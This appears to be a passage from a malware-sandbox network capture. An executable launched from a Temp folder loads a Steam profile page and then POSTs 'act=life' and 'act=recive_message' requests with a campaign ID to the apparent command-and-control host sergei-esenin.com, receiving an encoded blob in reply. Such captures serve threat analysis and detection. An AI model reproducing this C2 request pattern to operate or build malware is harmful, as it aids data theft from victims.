65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 17:30:14 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 17:30:14 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 17:30:14 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49989	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 17:30:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 17:30:15 UTC	558	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 17:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bndsLghJ18YtXlo1jzfKzFZrLpXdYFEGx2gxKRtsvLiyx5uMtJ%2BrVK44bNkQqzkBQAfohx6N6Qz5UfESc4bHkbRvuTG53E8fjZKfonoWb8co9mjAr3av%2FTF5OKaDrnyhO1HGxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb1974ffe4802-DFW
2024-10-24 17:30:15 UTC	811	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 17:30:15 UTC	1369	IN	Data Raw: 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 Data Ascii: styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementByI
2024-10-24 17:30:15 UTC	1369	IN	Data Raw: 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 17:30:15 UTC	895	IN	Data Raw: 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 Data Ascii: span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing"
2024-10-24 17:30:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49994	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:30:16 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=EKR9x8mMoXSiOyXelVCptRlax5_KFh8oSDgBjRdWaZs-1729791015-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 17:30:16 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 17:30:16 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4mdft9qihumq5p4n3l5uud8g1n; expires=Mon, 17 Feb 2025 11:16:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BGjlxirhR5a1YWRvgPgtryiCs%2BOFLIe7lXw9wSPCFsbf36nFwfmwZpgPIFI99MdJtyvWapD94R5EQieYb%2BenLMoZD7dXvZnPz%2BThu8%2FO2rMcdt7hZDUAPad3TiuOkBbaSAVkEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb19d0e29457d-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20179&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1042&delivery_rate=144872&cwnd=32&unsent_bytes=0&cid=0f95a9dddf26d3b9&ts=536&x=0"
2024-10-24 17:30:16 UTC	352	IN	Data Raw: 31 64 38 30 0d 0a 5a 4a 51 39 76 31 39 56 48 64 54 6c 6e 5a 70 59 65 76 6f 6e 72 78 30 64 37 6d 74 46 77 61 2b 68 62 38 45 54 54 72 54 48 46 4c 34 66 74 6b 75 64 5a 57 45 78 39 70 62 34 75 47 49 4f 69 46 4c 4b 4d 54 2b 50 44 32 66 37 79 63 41 44 73 6e 5a 69 6c 72 46 35 6e 46 37 79 58 4e 4d 73 4d 44 48 32 67 4f 57 34 59 69 47 42 42 63 70 7a 50 39 52 4a 49 4b 76 4e 77 41 4f 6a 63 69 58 62 74 33 6a 64 44 50 68 61 31 7a 6f 32 65 62 57 4a 38 50 38 39 48 35 74 4e 77 58 52 77 68 67 5a 6e 37 59 33 45 46 65 4d 70 62 50 6d 69 59 4e 38 70 39 55 37 55 66 53 67 78 72 38 66 34 39 48 70 41 32 45 62 4b 66 33 47 49 44 79 36 70 78 38 6b 4c 6f 6e 63 6b 78 4b 35 79 31 67 7a 32 57 64 59 77 50 32 32 34 67 2f 66 30 4f 78 57 62 42 59 4d 2f 65 4a 52 4a 66 2b 4f 65 38 51 36 79 59 Data Ascii: 1d80ZJQ9v19VHdTlnZpYevonrx0d7mtFwa+hb8ETTrTHFL4ftkudZWEx9pb4uGIOiFLKMT+PD2f7ycADsnZilrF5nF7yXNMsMDH2gOW4YiGBBcpzP9RJIKvNwAOjciXbt3jdDPha1zo2ebWJ8P89H5tNwXRwhgZn7Y3EFeMpbPmiYN8p9U7UfSgxr8f49HpA2EbKf3GIDy6px8kLonckxK5y1gz2WdYwP224g/f0OxWbBYM/eJRJf+Oe8Q6yY
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 4d 38 4f 6e 2b 6b 6a 2f 54 7a 50 77 71 54 54 4d 42 79 66 34 45 44 4b 4b 44 4e 78 41 65 70 66 69 62 53 71 48 76 61 42 76 59 66 6b 33 30 77 5a 2f 62 66 76 39 73 2f 43 4a 39 4a 32 7a 31 46 7a 42 5a 70 75 6f 33 45 41 65 4d 70 62 4e 36 67 64 64 38 4e 2b 56 7a 56 4e 69 56 2f 70 49 48 79 2f 53 67 65 6e 55 76 48 66 47 32 47 42 79 47 67 78 4d 67 45 70 6e 59 6f 6c 75 73 32 32 78 36 32 42 35 30 63 4f 6e 53 36 6a 65 6a 34 65 67 66 57 58 49 31 34 63 38 78 52 5a 36 66 4d 78 77 79 6e 66 79 4c 53 71 58 44 53 43 2f 6c 5a 31 7a 30 77 64 62 36 50 2f 76 55 78 46 35 68 41 77 48 74 35 67 41 67 69 34 34 4f 44 43 72 73 78 64 4a 61 4c 63 64 38 55 74 47 72 65 4d 7a 6c 34 6f 4d 66 67 74 69 4e 59 6e 30 6d 4e 4a 7a 2b 43 44 43 69 78 7a 4e 45 49 72 57 4d 67 30 36 4e 37 33 77 6a 32 57 Data Ascii: M8On+kj/TzPwqTTMByf4EDKKDNxAepfibSqHvaBvYfk30wZ/bfv9s/CJ9J2z1FzBZpuo3EAeMpbN6gdd8N+VzVNiV/pIHy/SgenUvHfG2GByGgxMgEpnYolus22x62B50cOnS6jej4egfWXI14c8xRZ6fMxwynfyLSqXDSC/lZ1z0wdb6P/vUxF5hAwHt5gAgi44ODCrsxdJaLcd8UtGreMzl4oMfgtiNYn0mNJz+CDCixzNEIrWMg06N73wj2W
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 34 6f 4d 66 67 74 69 4e 59 6e 30 6d 4e 4a 7a 2b 41 41 43 65 6f 78 38 63 4e 70 48 77 70 31 61 4a 31 30 51 48 38 55 64 6f 35 4f 33 61 37 67 66 2f 2f 50 68 32 4b 51 4d 52 7a 63 38 78 48 5a 36 54 56 67 31 58 6a 58 69 76 41 70 6c 6e 66 46 2f 38 66 77 6e 4d 75 50 37 47 4c 76 36 42 36 48 35 31 4e 78 6e 6c 33 6a 42 73 69 72 63 62 43 42 36 56 77 49 64 71 6a 64 74 30 47 38 46 50 64 4f 6a 42 74 70 49 4c 35 36 6a 42 59 31 67 58 4b 5a 7a 2f 55 53 52 47 7a 32 74 49 62 34 55 51 76 32 4b 74 78 79 6b 62 70 45 63 52 39 4d 48 50 32 33 37 2f 7a 4f 68 53 66 54 63 74 37 64 34 4d 47 4c 72 48 4d 7a 77 4f 78 64 69 7a 66 71 33 6e 51 44 2f 74 59 30 44 59 39 63 72 4b 41 2f 72 68 30 57 4a 39 64 6a 53 63 2f 75 68 6b 71 72 2b 50 49 41 61 6f 78 4d 35 69 38 4e 74 73 4b 74 67 65 64 4f 54 Data Ascii: 4oMfgtiNYn0mNJz+AACeox8cNpHwp1aJ10QH8Udo5O3a7gf//Ph2KQMRzc8xHZ6TVg1XjXivAplnfF/8fwnMuP7GLv6B6H51Nxnl3jBsircbCB6VwIdqjdt0G8FPdOjBtpIL56jBY1gXKZz/USRGz2tIb4UQv2KtxykbpEcR9MHP237/zOhSfTct7d4MGLrHMzwOxdizfq3nQD/tY0DY9crKA/rh0WJ9djSc/uhkqr+PIAaoxM5i8NtsKtgedOT
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 2b 2f 30 2f 48 4a 39 42 79 33 41 2f 77 6b 6b 67 75 34 32 62 54 59 78 57 47 5a 53 45 54 4a 77 5a 75 45 61 64 4f 6a 73 2f 37 73 66 7a 2b 7a 59 51 6c 30 50 45 63 33 57 46 41 69 75 6f 79 63 38 45 70 6e 63 74 30 36 42 33 32 41 72 38 57 64 34 2b 4f 48 43 35 6a 37 2b 32 65 68 2b 41 42 5a 55 2f 57 70 73 43 4b 61 57 4e 33 45 4f 36 4d 53 76 61 35 53 36 63 43 76 39 5a 32 7a 67 37 66 72 43 50 2b 76 41 2b 47 5a 35 44 7a 6e 42 37 69 51 67 6f 70 38 48 4e 42 36 4a 77 49 4e 32 71 66 64 6c 47 75 42 2f 61 4a 58 63 6e 39 72 62 38 37 69 30 49 6c 41 58 53 4d 57 62 4d 44 69 76 6a 6c 59 4d 4d 73 58 73 6d 32 4b 42 35 32 51 58 35 57 4e 41 37 4f 33 57 2f 6a 2f 6e 33 4d 77 71 62 53 63 4e 34 63 59 41 48 4b 71 6e 4f 7a 6b 33 74 4d 53 76 4f 35 53 36 63 4b 76 46 53 38 7a 59 37 65 50 61 Data Ascii: +/0/HJ9By3A/wkkgu42bTYxWGZSETJwZuEadOjs/7sfz+zYQl0PEc3WFAiuoyc8Epnct06B32Ar8Wd4+OHC5j7+2eh+ABZU/WpsCKaWN3EO6MSva5S6cCv9Z2zg7frCP+vA+GZ5DznB7iQgop8HNB6JwIN2qfdlGuB/aJXcn9rb87i0IlAXSMWbMDivjlYMMsXsm2KB52QX5WNA7O3W/j/n3MwqbScN4cYAHKqnOzk3tMSvO5S6cKvFS8zY7ePa
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 6c 62 59 51 74 55 2f 4a 38 77 2f 49 4c 50 64 77 45 2b 53 5a 79 2f 41 72 6e 76 51 52 75 6b 52 78 48 30 77 63 2f 62 66 76 2f 34 31 45 5a 74 4b 7a 48 5a 7a 67 51 77 75 70 73 7a 46 43 61 6c 37 4c 4e 43 6a 64 39 6b 4d 39 56 37 58 4e 44 42 33 73 59 54 74 75 48 52 59 6e 31 32 4e 4a 7a 2b 6c 44 6a 57 74 33 59 4d 53 37 57 68 73 30 61 6b 32 68 45 62 79 56 64 49 35 4d 48 4f 77 67 76 6e 31 4f 78 65 5a 52 63 4a 37 64 49 55 50 4a 71 37 49 7a 67 6d 78 65 79 66 5a 71 58 2f 51 43 37 59 52 6e 54 6f 76 50 2b 37 48 7a 76 55 30 46 70 39 54 6a 57 41 78 6c 55 6b 67 72 34 32 62 54 61 4a 39 49 39 57 71 64 64 38 48 2f 45 33 50 4d 54 35 33 73 34 76 30 39 6a 77 4b 6e 6b 72 45 66 48 79 46 44 69 2b 76 78 38 41 4b 34 7a 39 73 30 62 30 32 68 45 62 56 53 4d 30 77 64 32 44 34 6e 72 2f 2f Data Ascii: lbYQtU/J8w/ILPdwE+SZy/ArnvQRukRxH0wc/bfv/41EZtKzHZzgQwupszFCal7LNCjd9kM9V7XNDB3sYTtuHRYn12NJz+lDjWt3YMS7Whs0ak2hEbyVdI5MHOwgvn1OxeZRcJ7dIUPJq7IzgmxeyfZqX/QC7YRnTovP+7HzvU0Fp9TjWAxlUkgr42bTaJ9I9Wqdd8H/E3PMT53s4v09jwKnkrEfHyFDi+vx8AK4z9s0b02hEbVSM0wd2D4nr//
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 50 44 62 58 71 4b 42 69 69 71 78 4d 63 46 6f 48 45 6f 30 71 4a 7a 33 77 72 39 57 4e 34 79 4d 33 61 34 6a 76 43 34 64 46 69 66 58 59 30 6e 50 36 30 53 4a 4b 2f 41 67 78 4c 74 61 47 7a 52 71 54 61 45 52 76 70 52 32 44 30 39 65 62 4b 43 2b 66 49 2f 47 4a 4e 47 77 6e 74 35 69 41 59 6e 71 4d 54 43 43 36 5a 37 4a 39 43 6f 64 64 6f 41 74 68 47 64 4f 69 38 2f 37 73 66 66 34 7a 63 55 6e 77 58 53 4d 57 62 4d 44 69 76 6a 6c 59 4d 47 72 33 55 72 31 71 68 31 31 41 50 79 56 64 67 39 50 32 32 2b 68 2f 6a 71 4b 42 69 52 51 4d 46 38 66 34 67 50 4c 71 58 4f 78 30 33 74 4d 53 76 4f 35 53 36 63 4b 2f 70 59 39 44 6f 73 50 36 6e 4a 35 72 67 39 46 4e 67 64 6a 58 35 30 68 67 59 71 6f 4d 76 41 42 71 5a 37 4c 64 47 74 65 38 34 46 2b 56 44 5a 50 54 68 35 73 49 62 77 2f 6a 30 52 6d Data Ascii: PDbXqKBiiqxMcFoHEo0qJz3wr9WN4yM3a4jvC4dFifXY0nP60SJK/AgxLtaGzRqTaERvpR2D09ebKC+fI/GJNGwnt5iAYnqMTCC6Z7J9CoddoAthGdOi8/7sff4zcUnwXSMWbMDivjlYMGr3Ur1qh11APyVdg9P22+h/jqKBiRQMF8f4gPLqXOx03tMSvO5S6cK/pY9DosP6nJ5rg9FNgdjX50hgYqoMvABqZ7LdGte84F+VDZPTh5sIbw/j0Rm
2024-10-24 17:30:16 UTC	363	IN	Data Raw: 34 73 6a 63 41 74 63 66 45 48 61 52 6d 49 35 62 72 4e 74 4e 47 72 6d 61 64 4e 44 42 6b 70 35 48 79 36 44 31 59 70 77 75 4e 5a 7a 2f 55 53 52 4b 67 77 38 30 4b 74 57 42 68 38 62 4e 38 32 78 62 78 53 4e 4a 39 65 54 2b 77 78 36 65 72 64 46 69 63 56 49 30 6e 4c 39 35 53 63 76 43 61 6b 31 2b 38 50 7a 57 57 73 7a 61 45 56 4c 67 66 7a 33 31 76 50 2f 47 45 37 65 6f 38 47 34 35 47 69 6b 46 42 71 78 4d 71 70 64 72 53 4d 35 31 32 4e 74 75 6a 59 63 31 4b 34 31 7a 54 4d 7a 42 70 39 73 6d 2f 39 33 70 41 6f 51 57 46 50 30 44 43 53 54 2f 6a 6c 59 4d 34 6f 48 38 69 30 62 4e 6e 6b 53 48 73 55 74 73 71 4a 6a 2f 34 78 2f 6d 34 59 6b 6a 57 42 63 6c 75 50 39 52 5a 64 66 69 59 6b 46 72 7a 49 7a 4f 59 76 44 62 4b 52 71 34 4e 6b 33 30 6c 50 2b 37 48 75 50 73 6f 43 70 35 47 32 33 Data Ascii: 4sjcAtcfEHaRmI5brNtNGrmadNDBkp5Hy6D1YpwuNZz/USRKgw80KtWBh8bN82xbxSNJ9eT+wx6erdFicVI0nL95ScvCak1+8PzWWszaEVLgfz31vP/GE7eo8G45GikFBqxMqpdrSM512NtujYc1K41zTMzBp9sm/93pAoQWFP0DCST/jlYM4oH8i0bNnkSHsUtsqJj/4x/m4YkjWBcluP9RZdfiYkFrzIzOYvDbKRq4Nk30lP+7HuPsoCp5G23
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 32 36 65 63 0d 0a 53 4c 5a 4e 6e 57 56 33 4f 4c 57 56 37 66 34 35 44 70 73 43 38 30 46 38 6d 67 51 6f 71 4d 7a 39 4d 34 31 38 4c 64 57 72 4e 4f 30 51 2b 30 2f 65 4f 44 42 42 69 49 6e 34 37 44 30 57 6e 6b 57 4e 4d 54 2b 44 53 58 2b 61 6a 59 74 4e 6e 44 39 73 7a 75 55 75 6e 44 50 31 55 64 4d 36 49 57 37 37 70 4f 6e 31 4e 52 4f 5a 42 59 4d 2f 65 63 78 52 64 2b 32 4e 78 78 7a 6a 4b 58 79 45 2f 69 4f 50 55 61 59 4e 77 6e 4d 75 50 36 44 48 70 36 70 30 57 49 6f 46 6c 54 38 34 67 67 51 6d 6f 4d 50 41 48 37 46 33 4c 38 43 6d 4d 65 49 34 31 31 4c 57 4d 54 70 77 76 62 6e 42 32 54 63 54 6c 45 6a 43 64 45 47 79 48 43 53 74 77 38 51 62 73 6a 46 69 6c 71 6f 32 68 44 2b 32 46 35 30 43 65 54 2b 75 78 36 65 34 44 78 75 57 53 38 70 70 62 73 45 6f 4b 71 6a 42 7a 67 4b 6f 4d Data Ascii: 26ecSLZNnWV3OLWV7f45DpsC80F8mgQoqMz9M418LdWrNO0Q+0/eODBBiIn47D0WnkWNMT+DSX+ajYtNnD9szuUunDP1UdM6IW77pOn1NROZBYM/ecxRd+2NxxzjKXyE/iOPUaYNwnMuP6DHp6p0WIoFlT84ggQmoMPAH7F3L8CmMeI411LWMTpwvbnB2TcTlEjCdEGyHCStw8QbsjFilqo2hD+2F50CeT+ux6e4DxuWS8ppbsEoKqjBzgKoM
2024-10-24 17:30:16 UTC	1369	IN	Data Raw: 77 33 78 44 31 47 4f 4d 44 45 6d 69 31 6c 2f 6e 37 42 43 61 7a 53 63 74 34 5a 59 73 50 41 59 4f 4e 6a 55 32 73 4d 58 54 76 35 54 36 63 4f 62 67 66 78 58 31 76 50 34 4f 45 38 66 59 39 44 6f 6b 49 36 47 68 38 6e 41 38 6b 34 34 4f 44 43 2b 4d 70 66 4a 6a 6c 63 73 31 47 72 67 2b 50 5a 6d 49 73 34 64 65 74 35 33 51 42 32 46 4f 4e 4a 79 33 43 53 54 58 6a 6c 59 4e 4b 6f 47 4d 2b 30 4b 5a 67 33 30 48 49 59 66 73 2b 4a 6e 57 58 69 75 2f 2f 42 43 61 4e 52 73 4e 78 65 4a 6f 59 5a 2b 32 4e 7a 45 33 37 53 47 79 65 36 58 44 66 45 4c 5a 67 6b 33 30 76 50 2b 37 48 79 76 73 30 46 70 39 54 33 44 4a 5a 6a 78 67 74 67 73 44 54 43 75 4d 2f 62 4e 44 6c 4c 6f 39 49 74 6c 76 4d 66 57 38 76 35 4e 79 71 71 32 31 49 79 6c 71 44 5a 6a 2b 61 53 58 2f 78 67 34 4d 66 34 79 6c 73 6b 61 Data Ascii: w3xD1GOMDEmi1l/n7BCazSct4ZYsPAYONjU2sMXTv5T6cObgfxX1vP4OE8fY9DokI6Gh8nA8k44ODC+MpfJjlcs1Grg+PZmIs4det53QB2FONJy3CSTXjlYNKoGM+0KZg30HIYfs+JnWXiu//BCaNRsNxeJoYZ+2NzE37SGye6XDfELZgk30vP+7Hyvs0Fp9T3DJZjxgtgsDTCuM/bNDlLo9ItlvMfW8v5Nyqq21IylqDZj+aSX/xg4Mf4ylska

